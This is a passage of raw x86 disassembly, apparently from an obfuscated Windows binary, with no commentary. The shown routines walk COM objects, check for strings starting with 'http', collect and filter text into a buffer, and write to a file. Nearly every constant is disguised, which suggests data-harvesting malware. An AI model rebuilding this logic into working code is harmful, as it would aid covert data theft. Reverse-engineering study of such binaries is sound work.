var_40E60	= dword	ptr -40E60h
var_40E5C	= dword	ptr -40E5Ch
var_40E57	= byte ptr -40E57h
var_40E56	= byte ptr -40E56h
var_40E55	= byte ptr -40E55h
var_40E54	= byte ptr -40E54h
var_30E58	= dword	ptr -30E58h
var_30E54	= dword	ptr -30E54h
var_30E50	= dword	ptr -30E50h
var_30E4C	= dword	ptr -30E4Ch
var_30E48	= dword	ptr -30E48h
var_30E44	= dword	ptr -30E44h
var_30E3F	= byte ptr -30E3Fh
var_30D40	= byte ptr -30D40h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 71F10h
		call	sub_425D5D
		push	ebx
		push	esi
		push	edi
		lea	eax, [ebp+var_40E80]
		push	eax
		call	dword ptr ds:1000D040h
		lea	eax, [ebp+var_40E94]
		push	eax
		lea	eax, [ebp+var_40E80]
		push	eax
		push	9
		mov	eax, ds:100141D8h
		sub	eax, 3
		push	eax
		push	[ebp+arg_0]
		call	dword ptr ds:10011218h
		mov	ebx, eax
		cmp	ebx, ds:10014248h
		jnz	loc_4222D3
		mov	eax, [ebp+var_40E78]
		mov	[ebp+var_40E64], eax
		and	[ebp+var_40E60], 0
		lea	eax, [ebp+var_40E60]
		push	eax
		push	10015CD4h
		mov	eax, [ebp+var_40E64]
		push	eax
		mov	edi, [eax]
		call	dword ptr ds:0[edi]
		mov	ebx, eax
		mov	eax, ds:100141F4h
		add	eax, ds:100140FCh
		sub	eax, 0Ah
		cmp	ebx, eax
		jnz	loc_4222D3
		lea	eax, [ebp+var_40E84]
		push	eax
		mov	eax, [ebp+var_40E60]
		push	eax
		mov	edi, [eax]
		call	dword ptr [edi+78h]
		mov	ebx, eax
		mov	eax, ds:100140B0h
		add	eax, ds:10014150h
		sub	eax, 0Bh
		cmp	ebx, eax
		jnz	loc_4222C7
		lea	eax, [ebp+var_40E57]
		push	eax
		push	[ebp+var_40E84]
		call	sub_41BCA3
		add	esp, 8
		mov	edi, eax
		inc	edi
		mov	[ebp+var_40E98], edi
		push	[ebp+var_40E84]
		call	dword ptr ds:10013D84h
		cmp	[ebp+var_40E57], 68h
		jnz	short loc_421652
		cmp	[ebp+var_40E56], 74h
		jnz	short loc_421652
		cmp	[ebp+var_40E55], 74h
		jnz	short loc_421652
		cmp	[ebp+var_40E54], 70h
		jz	short loc_421657


loc_421652:				; CODE XREF: sub_421545+F0j
					; sub_421545+F9j ...
		jmp	loc_4222C7
; ---------------------------------------------------------------------------


loc_421657:				; CODE XREF: sub_421545+10Bj
		lea	eax, [ebp+var_30E4C]
		push	eax
		mov	eax, [ebp+var_40E60]
		push	eax
		mov	edi, [eax]
		call	dword ptr [edi+94h]
		mov	ebx, eax
		mov	eax, ds:10014170h
		sub	eax, 5
		cmp	ebx, eax
		jz	short loc_421682
		and	[ebp+var_30E4C], 0


loc_421682:				; CODE XREF: sub_421545+134j
		lea	eax, [ebp+var_40E68]
		push	eax
		mov	eax, [ebp+var_40E60]
		push	eax
		mov	edi, [eax]
		call	dword ptr [edi+48h]
		mov	ebx, eax
		mov	eax, ds:100141CCh
		dec	eax
		cmp	ebx, eax
		jnz	loc_4222C7
		lea	eax, [ebp+var_40E6C]
		push	eax
		push	10015C44h
		mov	eax, [ebp+var_40E68]
		push	eax
		mov	edi, [eax]
		call	dword ptr ds:0[edi]
		mov	ebx, eax
		movsx	eax, word ptr ds:100140F8h
		dec	eax
		cmp	ebx, eax
		jnz	loc_4222BB
		lea	eax, [ebp+var_40E70]
		push	eax
		mov	eax, [ebp+var_40E6C]
		push	eax
		mov	edi, [eax]
		call	dword ptr [edi+5Ch]
		mov	ebx, eax
		movsx	eax, word ptr ds:100141F0h
		mov	edx, eax
		add	edx, eax
		mov	eax, edx
		sub	eax, 4
		cmp	ebx, eax
		jnz	loc_4222AF
		lea	eax, [ebp+var_40E90]
		push	eax
		mov	eax, [ebp+var_40E70]
		push	eax
		mov	edi, [eax]
		call	dword ptr [edi+20h]
		mov	ebx, eax
		mov	eax, ds:1001420Ch
		sub	eax, 7
		cmp	ebx, eax
		jnz	loc_4222A3
		movsx	eax, word ptr ds:10014090h
		sub	eax, 4
		neg	eax
		mov	[ebp+var_40E5C], eax
		push	10014E08h
		call	sub_4230FC
		push	eax
		call	dword ptr ds:1000DFF8h
		mov	[ebp+var_30E44], eax
		push	10014DF8h
		call	sub_4230FC
		add	esp, 8
		push	eax
		call	dword ptr ds:1000DFF8h
		mov	[ebp+var_30E48], eax
		lea	eax, [ebp+var_40E57]
		push	eax
		lea	eax, [ebp+var_30D40]
		push	eax
		call	sub_425D7D


loc_42177B:				; CODE XREF: sub_421545+D32j
		and	[ebp+var_40E88], 0
		and	[ebp+var_40E8C], 0
		mov	eax, ds:100141A8h
		sub	eax, 7
		neg	eax
		cmp	[ebp+var_40E5C], eax
		jnz	short loc_4217E0
		lea	eax, [ebp+var_30E54]
		push	eax
		mov	eax, [ebp+var_40E6C]
		push	eax
		mov	edi, [eax]
		call	dword ptr [edi+38h]
		mov	ebx, eax
		mov	eax, ds:1001424Ch
		sub	eax, 9
		cmp	ebx, eax
		jnz	loc_422265
		push	10014DE7h
		call	sub_41B08F
		push	eax
		lea	edi, [ebp+var_30D40]
		push	edi
		call	dword ptr ds:1000D024h
		add	esp, 0Ch
		jmp	loc_4218FB
; ---------------------------------------------------------------------------


loc_4217E0:				; CODE XREF: sub_421545+254j
		mov	[ebp+var_40EA8], 17h
		mov	eax, [ebp+var_40E5C]
		mov	[ebp+var_40EA0], eax
		lea	eax, [ebp+var_40EB8]
		push	eax
		lea	eax, [ebp+var_40EA8]
		push	eax
		mov	eax, [ebp+var_40E70]
		push	eax
		mov	esi, [eax]
		call	dword ptr [esi+1Ch]
		lea	eax, [ebp+var_40E88]
		push	eax
		push	10015C94h
		push	[ebp+var_40EB0]
		mov	edi, [ebp+var_40EB0]
		mov	edi, [edi]
		call	dword ptr ds:0[edi]
		mov	ebx, eax
		mov	eax, ds:1001417Ch
		movsx	edx, word ptr ds:10014228h
		add	eax, edx
		sub	eax, 0Dh
		cmp	ebx, eax
		jnz	loc_422265
		lea	eax, [ebp+var_40E8C]
		push	eax
		mov	eax, [ebp+var_40E88]
		push	eax
		mov	edi, [eax]
		call	dword ptr [edi+0D0h]
		mov	ebx, eax
		movsx	eax, word ptr ds:10014204h
		sub	eax, 6
		cmp	ebx, eax
		jz	short loc_421882
		mov	eax, [ebp+var_40E88]
		push	eax
		mov	esi, [eax]
		call	dword ptr [esi+8]
		jmp	loc_422265
; ---------------------------------------------------------------------------


loc_421882:				; CODE XREF: sub_421545+32Aj
		lea	eax, [ebp+var_30E54]
		push	eax
		mov	eax, [ebp+var_40E8C]
		push	eax
		mov	edi, [eax]
		call	dword ptr [edi+38h]
		mov	ebx, eax
		mov	eax, ds:10014150h
		add	eax, ds:10014238h
		sub	eax, 0Bh
		cmp	ebx, eax
		jz	short loc_4218C6
		mov	eax, [ebp+var_40E8C]
		push	eax
		mov	esi, [eax]
		call	dword ptr [esi+8]
		mov	eax, [ebp+var_40E88]
		push	eax
		mov	esi, [eax]
		call	dword ptr [esi+8]
		jmp	loc_422265
; ---------------------------------------------------------------------------


loc_4218C6:				; CODE XREF: sub_421545+362j
		push	10014DD8h
		call	sub_41B08F
		push	[ebp+var_40E5C]
		push	eax
		lea	edi, [ebp+var_30E3F]
		push	edi
		call	dword ptr ds:10013810h
		lea	eax, [ebp+var_30E3F]
		push	eax
		lea	eax, [ebp+var_30D40]
		push	eax
		call	dword ptr ds:1000D024h
		add	esp, 18h


loc_4218FB:				; CODE XREF: sub_421545+296j
		lea	eax, [ebp+var_30E58]
		push	eax
		mov	eax, [ebp+var_30E54]
		push	eax
		mov	edi, [eax]
		call	dword ptr [edi+24h]
		mov	ebx, eax
		mov	eax, ds:100141ACh
		sub	eax, 5
		cmp	ebx, eax
		jnz	loc_422265
		mov	eax, ds:100140A8h
		sub	eax, 4
		mov	[ebp+var_30E50], eax
		jmp	loc_422253
; ---------------------------------------------------------------------------


loc_421933:				; CODE XREF: sub_421545+D1Aj
		mov	[ebp+var_60ED0], 2
		mov	eax, [ebp+var_30E50]
		mov	[ebp+var_60EC8], eax
		movsx	eax, word ptr ds:100141DCh
		mov	edx, ds:100140D8h
		sub	edx, 5
		mov	[ebp+eax+var_50EA4], dl
		lea	eax, [ebp+var_60EC0]
		push	eax
		lea	esi, [ebp+var_60ED0]
		sub	esp, 10h
		mov	edi, esp
		mov	ecx, 4
		rep movsd
		lea	esi, [ebp+var_60ED0]
		sub	esp, 10h
		mov	edi, esp
		mov	ecx, 4
		rep movsd
		mov	edi, [ebp+var_30E54]
		push	edi
		mov	edi, [edi]
		call	dword ptr [edi+2Ch]
		mov	ebx, eax
		movsx	eax, word ptr ds:10014090h
		add	eax, ds:1001415Ch
		sub	eax, 5
		cmp	ebx, eax
		jnz	loc_42224D
		push	10014DCAh
		call	sub_41B08F
		push	[ebp+var_30E50]
		push	eax
		lea	edi, [ebp+var_30E3F]
		push	edi
		call	dword ptr ds:10013810h
		lea	eax, [ebp+var_30E3F]
		push	eax
		lea	eax, [ebp+var_30D40]
		push	eax
		call	dword ptr ds:1000D024h
		add	esp, 18h
		and	[ebp+var_60ED4], 0
		lea	eax, [ebp+var_60ED4]
		push	eax
		push	10015C64h
		mov	eax, [ebp+var_60EC0]
		push	eax
		mov	edi, [eax]
		call	dword ptr ds:0[edi]
		mov	ebx, eax
		movsx	eax, word ptr ds:100140E8h
		movsx	edx, word ptr ds:10014130h
		add	eax, edx
		sub	eax, 6
		cmp	ebx, eax
		jnz	loc_421EDF
		lea	eax, [ebp+var_60ED8]
		push	eax
		mov	eax, [ebp+var_60ED4]
		push	eax
		mov	edi, [eax]
		call	dword ptr [edi+0F0h]
		mov	ebx, eax
		mov	eax, ds:10014184h
		add	eax, ds:100140DCh
		dec	eax
		cmp	ebx, eax
		jnz	loc_421ED3
		lea	eax, [ebp+var_60E9F]
		push	eax
		push	[ebp+var_60ED8]
		call	sub_41BCA3
		add	esp, 8
		mov	edi, eax
		inc	edi
		mov	[ebp+var_60EB8], edi
		push	[ebp+var_60ED8]
		call	dword ptr ds:10013D84h
		mov	eax, ds:10014100h
		sub	eax, 7
		mov	[ebp+var_40E9C], eax
		jmp	short loc_421AD8
; ---------------------------------------------------------------------------


loc_421A8B:				; CODE XREF: sub_421545+59Fj
		mov	eax, [ebp+var_40E9C]
		movsx	eax, [ebp+eax+var_60E9F]
		mov	edx, ds:100140FCh
		add	edx, 6
		cmp	eax, edx
		jz	short loc_421ABC
		movsx	edx, word ptr ds:10014210h
		movsx	ecx, word ptr ds:10014148h
		lea	edx, [edx+ecx+4]
		cmp	eax, edx
		jnz	short loc_421AD2


loc_421ABC:				; CODE XREF: sub_421545+55Fj
		mov	eax, [ebp+var_40E9C]
		mov	edx, ds:100140FCh
		sub	edx, 7
		mov	[ebp+eax+var_60E9F], dl


loc_421AD2:				; CODE XREF: sub_421545+575j
		inc	[ebp+var_40E9C]


loc_421AD8:				; CODE XREF: sub_421545+544j
		mov	eax, [ebp+var_60EB8]
		cmp	[ebp+var_40E9C], eax
		jb	short loc_421A8B
		lea	eax, [ebp+var_60E9F]
		push	eax
		lea	eax, [ebp+var_50E9B]
		push	eax
		call	sub_425D7D
		mov	eax, ds:100141CCh
		add	eax, ds:10014154h
		sub	eax, 4
		mov	[ebp+var_40E9C], eax


loc_421B0D:				; CODE XREF: sub_421545+705j
		mov	eax, [ebp+var_40E9C]
		lea	ecx, [ebp+eax+var_60E9F]
		or	eax, 0FFFFFFFFh


loc_421B1D:				; CODE XREF: sub_421545+5DDj
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_421B1D
		mov	[ebp+var_60EA8], eax
		movsx	edx, word ptr ds:100141B8h
		sub	edx, 5
		cmp	eax, edx
		jz	short loc_421B49
		mov	edx, ds:10014140h
		lea	edx, [edx+edx+0B6h]
		cmp	eax, edx
		jbe	short loc_421B4E


loc_421B49:				; CODE XREF: sub_421545+5F1j
		jmp	loc_421C21
; ---------------------------------------------------------------------------


loc_421B4E:				; CODE XREF: sub_421545+602j
		mov	eax, ds:100140A4h
		sub	eax, 9
		mov	[ebp+var_60EA4], eax
		jmp	short loc_421B8D
; ---------------------------------------------------------------------------


loc_421B5E:				; CODE XREF: sub_421545+654j
		mov	eax, [ebp+var_40E9C]
		add	eax, [ebp+var_60EA4]
		movsx	eax, [ebp+eax+var_60E9F]
		movsx	edx, word ptr ds:100140F4h
		mov	ecx, ds:10014184h
		lea	edx, [edx+ecx+18h]
		cmp	eax, edx
		jnz	short loc_421B9B
		inc	[ebp+var_60EA4]


loc_421B8D:				; CODE XREF: sub_421545+617j
		mov	eax, [ebp+var_60EA8]
		cmp	[ebp+var_60EA4], eax
		jb	short loc_421B5E


loc_421B9B:				; CODE XREF: sub_421545+640j
		mov	eax, [ebp+var_60EA8]
		cmp	[ebp+var_60EA4], eax
		jz	short loc_421C21
		mov	eax, ds:10014124h
		dec	eax
		push	eax
		mov	eax, [ebp+var_40E9C]
		lea	eax, [ebp+eax+var_60E9F]
		push	eax
		lea	eax, [ebp+var_50E9B]
		push	eax
		call	sub_4251A5
		add	esp, 0Ch
		mov	[ebp+var_60EDC], eax
		mov	eax, ds:100140BCh
		add	eax, 0FFF4h
		add	eax, ds:1001424Ch
		cmp	[ebp+var_60EDC], eax
		jnz	short loc_421C21
		push	10014DC5h
		call	sub_41B08F
		push	eax
		lea	edi, [ebp+var_50E9B]
		push	edi
		call	dword ptr ds:1000D024h
		mov	eax, [ebp+var_40E9C]
		lea	eax, [ebp+eax+var_60E9F]
		push	eax
		lea	eax, [ebp+var_50E9B]
		push	eax
		call	dword ptr ds:1000D024h
		add	esp, 14h


loc_421C21:				; CODE XREF: sub_421545:loc_421B49j
					; sub_421545+662j ...
		mov	eax, [ebp+var_60EA8]
		mov	edx, ds:1001414Ch
		add	edx, ds:100140FCh
		sub	edx, 0Eh
		add	eax, edx
		add	[ebp+var_40E9C], eax
		mov	eax, [ebp+var_60EB8]
		cmp	[ebp+var_40E9C], eax
		jb	loc_421B0D
		mov	eax, ds:10014158h
		add	eax, ds:100141D0h
		sub	eax, 0Dh
		mov	[ebp+var_60EB4], eax
		lea	ecx, [ebp+var_50E9B]
		or	eax, 0FFFFFFFFh


loc_421C6D:				; CODE XREF: sub_421545+72Dj
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_421C6D
		mov	[ebp+var_60EA8], eax
		movsx	eax, word ptr ds:10014190h
		add	eax, ds:1001420Ch
		sub	eax, 0Ch
		mov	[ebp+var_40E9C], eax
		jmp	loc_421EA1
; ---------------------------------------------------------------------------


loc_421C95:				; CODE XREF: sub_421545+968j
		mov	eax, [ebp+var_40E9C]
		movzx	eax, [ebp+eax+var_50E9B]
		movsx	edx, word ptr ds:100140E4h
		add	edx, 1Eh
		cmp	eax, edx
		jz	short loc_421CB8
		and	[ebp+var_60EAC], 0


loc_421CB8:				; CODE XREF: sub_421545+76Aj
		mov	eax, [ebp+var_40E9C]
		movzx	eax, [ebp+eax+var_50E9B]
		movsx	edx, word ptr ds:10014204h
		add	edx, 1Ah
		cmp	eax, edx
		jnz	loc_421E44
		mov	eax, ds:100140F0h
		cmp	[ebp+var_40E9C], eax
		jbe	loc_421D93
		movsx	eax, word ptr ds:10014180h
		mov	edx, [ebp+var_40E9C]
		mov	ecx, eax
		add	ecx, eax
		mov	eax, ecx
		sub	eax, 9
		sub	edx, eax
		mov	al, [ebp+edx+var_50E9B]
		mov	[ebp+var_60EDD], al
		movzx	eax, [ebp+var_60EDD]
		mov	edx, ds:100140B0h
		add	edx, 0Eh
		add	edx, ds:10014188h
		cmp	eax, edx
		jle	short loc_421D35
		mov	edx, ds:10014134h
		add	edx, 2Ch
		cmp	eax, edx
		jl	short loc_421D89


loc_421D35:				; CODE XREF: sub_421545+7E1j
		movzx	eax, [ebp+var_60EDD]
		mov	edx, ds:100140ACh
		add	edx, 34h
		cmp	eax, edx
		jle	short loc_421D5F
		mov	edx, ds:1001417Ch
		add	edx, 33h
		movsx	ecx, word ptr ds:100141B8h
		add	edx, ecx
		cmp	eax, edx
		jl	short loc_421D89


loc_421D5F:				; CODE XREF: sub_421545+802j
		movzx	eax, [ebp+var_60EDD]
		mov	edx, ds:10014184h
		add	edx, 77h
		movsx	ecx, word ptr ds:100140E4h
		add	edx, ecx
		cmp	eax, edx
		jle	short loc_421D93
		mov	edx, ds:100141D8h
		add	edx, 7Ch
		cmp	eax, edx
		jge	short loc_421D93


loc_421D89:				; CODE XREF: sub_421545+7EEj
					; sub_421545+818j
		mov	[ebp+var_60EAC], 1


loc_421D93:				; CODE XREF: sub_421545+79Ej
					; sub_421545+835j ...
		mov	eax, [ebp+var_60EA8]
		cmp	[ebp+var_40E9C], eax
		jnb	loc_421E44
		mov	eax, [ebp+var_40E9C]
		mov	edx, ds:10014244h
		sub	edx, 8
		add	eax, edx
		mov	al, [ebp+eax+var_50E9B]
		mov	[ebp+var_60EDD], al
		movzx	eax, [ebp+var_60EDD]
		mov	edx, ds:100140F0h
		add	edx, 1Eh
		add	edx, ds:100140E0h
		cmp	eax, edx
		jle	short loc_421DF0
		mov	edx, ds:10014140h
		add	edx, 20h
		add	edx, ds:100140FCh
		cmp	eax, edx
		jl	short loc_421E3A


loc_421DF0:				; CODE XREF: sub_421545+896j
		movzx	eax, [ebp+var_60EDD]
		mov	edx, ds:100140B0h
		add	edx, 27h
		add	edx, ds:10014218h
		cmp	eax, edx
		jle	short loc_421E18
		movsx	edx, word ptr ds:100141C0h
		add	edx, 38h
		cmp	eax, edx
		jl	short loc_421E3A


loc_421E18:				; CODE XREF: sub_421545+8C3j
		movzx	eax, [ebp+var_60EDD]
		movsx	edx, word ptr ds:10014128h
		add	edx, 75h
		cmp	eax, edx
		jle	short loc_421E44
		mov	edx, ds:10014158h
		add	edx, 77h
		cmp	eax, edx
		jge	short loc_421E44


loc_421E3A:				; CODE XREF: sub_421545+8A9j
					; sub_421545+8D1j
		mov	[ebp+var_60EAC], 1


loc_421E44:				; CODE XREF: sub_421545+78Dj
					; sub_421545+85Aj ...
		cmp	[ebp+var_60EAC], 0
		jnz	short loc_421E6D
		mov	eax, [ebp+var_60EB4]
		mov	edx, [ebp+var_40E9C]
		mov	dl, [ebp+edx+var_50E9B]
		mov	[ebp+eax+var_50E9B], dl
		inc	[ebp+var_60EB4]


loc_421E6D:				; CODE XREF: sub_421545+906j
		mov	eax, [ebp+var_40E9C]
		movzx	eax, [ebp+eax+var_50E9B]
		mov	edx, ds:100141E8h
		add	edx, 10h
		movsx	ecx, word ptr ds:100141DCh
		add	edx, ecx
		cmp	eax, edx
		jnz	short loc_421E9B
		mov	[ebp+var_60EAC], 1


loc_421E9B:				; CODE XREF: sub_421545+94Aj
		inc	[ebp+var_40E9C]


loc_421EA1:				; CODE XREF: sub_421545+74Bj
		mov	eax, [ebp+var_60EA8]
		cmp	[ebp+var_40E9C], eax
		jb	loc_421C95
		mov	eax, [ebp+var_60EB4]
		movsx	edx, word ptr ds:10014190h
		movsx	ecx, word ptr ds:10014090h
		add	edx, ecx
		sub	edx, 0Ah
		mov	[ebp+eax+var_50E9B], dl


loc_421ED3:				; CODE XREF: sub_421545+506j
		mov	eax, [ebp+var_60ED4]
		push	eax
		mov	esi, [eax]
		call	dword ptr [esi+8]


loc_421EDF:				; CODE XREF: sub_421545+4DAj
		and	[ebp+var_60EB0], 0
		lea	eax, [ebp+var_60EB0]
		push	eax
		push	10015C74h
		mov	eax, [ebp+var_60EC0]
		push	eax
		mov	edi, [eax]
		call	dword ptr ds:0[edi]
		mov	ebx, eax
		mov	eax, ds:10014134h
		sub	eax, 4
		cmp	ebx, eax
		jnz	loc_4221E0
		lea	eax, [ebp+var_60EBC]
		push	eax
		mov	eax, [ebp+var_60EB0]
		push	eax
		mov	edi, [eax]
		call	dword ptr [edi+6Ch]
		mov	ebx, eax
		movsx	eax, word ptr ds:10014114h
		add	eax, ds:10014238h
		sub	eax, 12h
		cmp	ebx, eax
		jnz	loc_4221D4
		mov	eax, ds:1001410Ch
		mov	[ebp+var_50EA0], eax
		jmp	loc_4221C2
; ---------------------------------------------------------------------------


loc_421F51:				; CODE XREF: sub_421545+C89j
		push	dword ptr ds:100140DCh
		call	dword ptr ds:1001380Ch
		pop	ecx
		mov	[ebp+var_70F08], 2
		mov	eax, [ebp+var_50EA0]
		mov	[ebp+var_70F00], eax
		lea	eax, [ebp+var_70EF8]
		push	eax
		lea	esi, [ebp+var_70F08]
		sub	esp, 10h
		mov	edi, esp
		mov	ecx, 4
		rep movsd
		lea	esi, [ebp+var_70F08]
		sub	esp, 10h
		mov	edi, esp
		mov	ecx, 4
		rep movsd
		mov	edi, [ebp+var_60EB0]
		push	edi
		mov	edi, [edi]
		call	dword ptr [edi+74h]
		mov	ebx, eax
		mov	eax, ds:100140D8h
		sub	eax, 5
		cmp	ebx, eax
		jnz	loc_4221BC
		and	[ebp+var_70EF4], 0
		lea	eax, [ebp+var_70EF4]
		push	eax
		push	10015C64h
		mov	eax, [ebp+var_70EF8]
		push	eax
		mov	edi, [eax]
		call	dword ptr ds:0[edi]
		mov	ebx, eax
		mov	eax, ds:10014230h
		add	eax, ds:1001414Ch
		sub	eax, 0Fh
		cmp	ebx, eax
		jnz	loc_4221B0
		lea	eax, [ebp+var_60EF0]
		push	eax
		mov	eax, ds:10014100h
		add	eax, ds:100140B0h
		sub	eax, 10h
		push	eax
		push	[ebp+var_30E44]
		mov	eax, [ebp+var_70EF4]
		push	eax
		mov	edi, [eax]
		call	dword ptr [edi+20h]
		mov	ebx, eax
		or	ebx, ebx
		jnz	short loc_42202F
		cmp	[ebp+var_60EF0], 8
		jz	short loc_422034


loc_42202F:				; CODE XREF: sub_421545+ADEj
		jmp	loc_4221A4
; ---------------------------------------------------------------------------


loc_422034:				; CODE XREF: sub_421545+AE8j
		mov	eax, ds:1001418Ch
		mov	edx, ds:1001414Ch
		sub	edx, 8
		mov	[ebp+eax+var_70EF0], dl
		lea	eax, [ebp+var_70EEF]
		push	eax
		push	[ebp+var_60EE8]
		call	sub_41BCA3
		add	esp, 8
		mov	edi, eax
		inc	edi
		mov	[ebp+var_71F0C], edi
		push	[ebp+var_60EE8]
		call	dword ptr ds:10013D84h
		movsx	eax, word ptr ds:1001411Ch
		add	eax, ds:100140DCh
		movsx	eax, byte ptr [ebp+eax+var_70EF4+1]
		mov	edx, ds:100141A4h
		dec	edx
		cmp	eax, edx
		jz	loc_4221A4
		push	[ebp+var_30E4C]
		lea	eax, [ebp+var_70EEF]
		push	eax
		call	sub_41C22E
		add	esp, 8
		lea	eax, [ebp+var_60EF0]
		push	eax
		mov	eax, ds:1001419Ch
		add	eax, ds:100141CCh
		sub	eax, 0Ah
		push	eax
		push	[ebp+var_30E48]
		mov	eax, [ebp+var_70EF4]
		push	eax
		mov	edi, [eax]
		call	dword ptr [edi+20h]
		mov	ebx, eax
		mov	eax, ds:1001419Ch
		add	eax, ds:10014208h
		mov	edx, ds:100141A8h
		add	edx, ds:1001420Ch
		sub	edx, 0Fh
		mov	[ebp+eax+var_71F16], dl
		or	ebx, ebx
		jnz	short loc_42212F
		cmp	[ebp+var_60EF0], 8
		jnz	short loc_42212F
		lea	eax, [ebp+var_71F07]
		push	eax
		push	[ebp+var_60EE8]
		call	sub_41BCA3
		add	esp, 8
		mov	edi, eax
		inc	edi
		mov	[ebp+var_71F10], edi
		push	[ebp+var_60EE8]
		call	dword ptr ds:10013D84h


loc_42212F:				; CODE XREF: sub_421545+BB4j
					; sub_421545+BBEj
		push	10014DBDh
		call	sub_41B08F
		push	[ebp+var_50EA0]
		push	eax
		lea	edi, [ebp+var_30E3F]
		push	edi
		call	dword ptr ds:10013810h
		lea	eax, [ebp+var_30E3F]
		push	eax
		lea	eax, [ebp+var_30D40]
		push	eax
		call	dword ptr ds:1000D024h
		lea	eax, [ebp+var_71F07]
		push	eax
		lea	eax, [ebp+var_30D40]
		push	eax
		call	dword ptr ds:1000D024h
		push	10014DB8h
		call	sub_41B08F
		push	eax
		lea	edi, [ebp+var_30D40]
		push	edi
		call	dword ptr ds:1000D024h
		lea	eax, [ebp+var_70EEF]
		push	eax
		lea	eax, [ebp+var_30D40]
		push	eax
		call	dword ptr ds:1000D024h
		add	esp, 34h


loc_4221A4:				; CODE XREF: sub_421545:loc_42202Fj
					; sub_421545+B4Cj
		mov	eax, [ebp+var_70EF4]
		push	eax
		mov	esi, [eax]
		call	dword ptr [esi+8]


loc_4221B0:				; CODE XREF: sub_421545+AACj
		mov	eax, [ebp+var_70EF8]
		push	eax
		mov	esi, [eax]
		call	dword ptr [esi+8]


loc_4221BC:				; CODE XREF: sub_421545+A71j
		inc	[ebp+var_50EA0]


loc_4221C2:				; CODE XREF: sub_421545+A07j
		mov	eax, [ebp+var_60EBC]
		cmp	[ebp+var_50EA0], eax
		jb	loc_421F51


loc_4221D4:				; CODE XREF: sub_421545+9F6j
		mov	eax, [ebp+var_60EB0]
		push	eax
		mov	esi, [eax]
		call	dword ptr [esi+8]


loc_4221E0:				; CODE XREF: sub_421545+9C9j
		mov	eax, [ebp+var_60EC0]
		push	eax
		mov	esi, [eax]
		call	dword ptr [esi+8]
		movzx	eax, [ebp+var_50E9B]
		mov	edx, ds:100141CCh
		add	edx, ds:10014188h
		sub	edx, 0Ah
		cmp	eax, edx
		jz	short loc_42224D
		push	10014DB2h
		call	sub_41B08F
		push	eax
		lea	edi, [ebp+var_30D40]
		push	edi
		call	dword ptr ds:1000D024h
		lea	eax, [ebp+var_50E9B]
		push	eax
		lea	eax, [ebp+var_30D40]
		push	eax
		call	dword ptr ds:1000D024h
		push	10014DADh
		call	sub_41B08F
		push	eax
		lea	edi, [ebp+var_30D40]
		push	edi
		call	dword ptr ds:1000D024h
		add	esp, 20h


loc_42224D:				; CODE XREF: sub_421545+465j
					; sub_421545+CBFj
		inc	[ebp+var_30E50]


loc_422253:				; CODE XREF: sub_421545+3E9j
		mov	eax, [ebp+var_30E58]
		cmp	[ebp+var_30E50], eax
		jb	loc_421933


loc_422265:				; CODE XREF: sub_421545+275j
					; sub_421545+300j ...
		inc	[ebp+var_40E5C]
		mov	eax, [ebp+var_40E90]
		cmp	[ebp+var_40E5C], eax
		jl	loc_42177B
		lea	eax, [ebp+var_30D40]
		push	eax
		call	dword ptr ds:10013804h
		pop	ecx
		push	[ebp+var_30E44]
		call	dword ptr ds:10013D84h
		push	[ebp+var_30E48]
		call	dword ptr ds:10013D84h


loc_4222A3:				; CODE XREF: sub_421545+1DAj
		mov	eax, [ebp+var_40E70]
		push	eax
		mov	esi, [eax]
		call	dword ptr [esi+8]


loc_4222AF:				; CODE XREF: sub_421545+1B5j
		mov	eax, [ebp+var_40E6C]
		push	eax
		mov	esi, [eax]
		call	dword ptr [esi+8]


loc_4222BB:				; CODE XREF: sub_421545+188j
		mov	eax, [ebp+var_40E68]
		push	eax
		mov	esi, [eax]
		call	dword ptr [esi+8]


loc_4222C7:				; CODE XREF: sub_421545+B9j
					; sub_421545:loc_421652j ...
		mov	eax, [ebp+var_40E64]
		push	eax
		mov	esi, [eax]
		call	dword ptr [esi+8]


loc_4222D3:				; CODE XREF: sub_421545+47j
					; sub_421545+8Ej
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_421545	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4222D8	proc near		; CODE XREF: sub_41EF87+48Ap

var_104		= byte ptr -104h
var_100		= byte ptr -100h
var_FF		= byte ptr -0FFh
arg_0		= byte ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 104h
		push	edi
		mov	eax, ds:100141CCh
		mov	dl, [ebp+arg_0]
		mov	[ebp+eax+var_100], dl
		push	0
		push	80h
		push	4
		push	0
		mov	eax, ds:100140B0h
		sub	eax, 9
		push	eax
		push	40000000h
		push	10011220h
		call	dword ptr ds:10013968h
		mov	edi, eax
		push	0
		lea	eax, [ebp+var_104]
		push	eax
		movsx	eax, word ptr ds:10014130h
		dec	eax
		push	eax
		lea	eax, [ebp+var_FF]
		push	eax
		push	edi
		call	dword ptr ds:10013D6Ch
		push	edi
		call	dword ptr ds:1001282Ch
		pop	edi
		leave
		retn
sub_4222D8	endp


; =============== S U B	R O U T	I N E =======================================



sub_422341	proc near		; CODE XREF: .data:0041A7D1p
		push	edi
		push	10014D9Fh
		call	sub_41B08F
		pop	ecx
		push	eax
		call	dword ptr ds:10010598h
		mov	ds:10014270h, eax
		test	eax, eax
		jnz	short loc_422374
		push	10014D91h
		call	sub_41B08F
		pop	ecx
		push	eax
		call	dword ptr ds:10011208h
		mov	ds:10014270h, eax


loc_422374:				; CODE XREF: sub_422341+1Aj
		cmp	dword ptr ds:10014270h,	0
		jz	short loc_4223A2
		movsx	eax, word ptr ds:10014128h
		movsx	edx, word ptr ds:10014090h
		add	eax, edx
		sub	eax, 5
		push	eax
		push	dword ptr ds:10014270h
		call	dword ptr ds:100101ACh
		mov	ds:1000D020h, eax


loc_4223A2:				; CODE XREF: sub_422341+3Aj
		pop	edi
		retn
sub_422341	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 118h
		push	ebx
		push	esi
		push	edi
		mov	eax, ds:10014198h
		movsx	edx, word ptr ds:10014120h
		add	eax, edx
		sub	eax, 12h
		mov	edx, [ebp+8]
		cmp	byte ptr [edx+eax], 4Bh
		jnz	short loc_4223DD
		push	100100A0h
		lea	eax, [ebp-110h]
		push	eax
		call	sub_425D7D
		jmp	short loc_4223EE
; ---------------------------------------------------------------------------


loc_4223DD:				; CODE XREF: .data:004223C8j
		push	10011430h
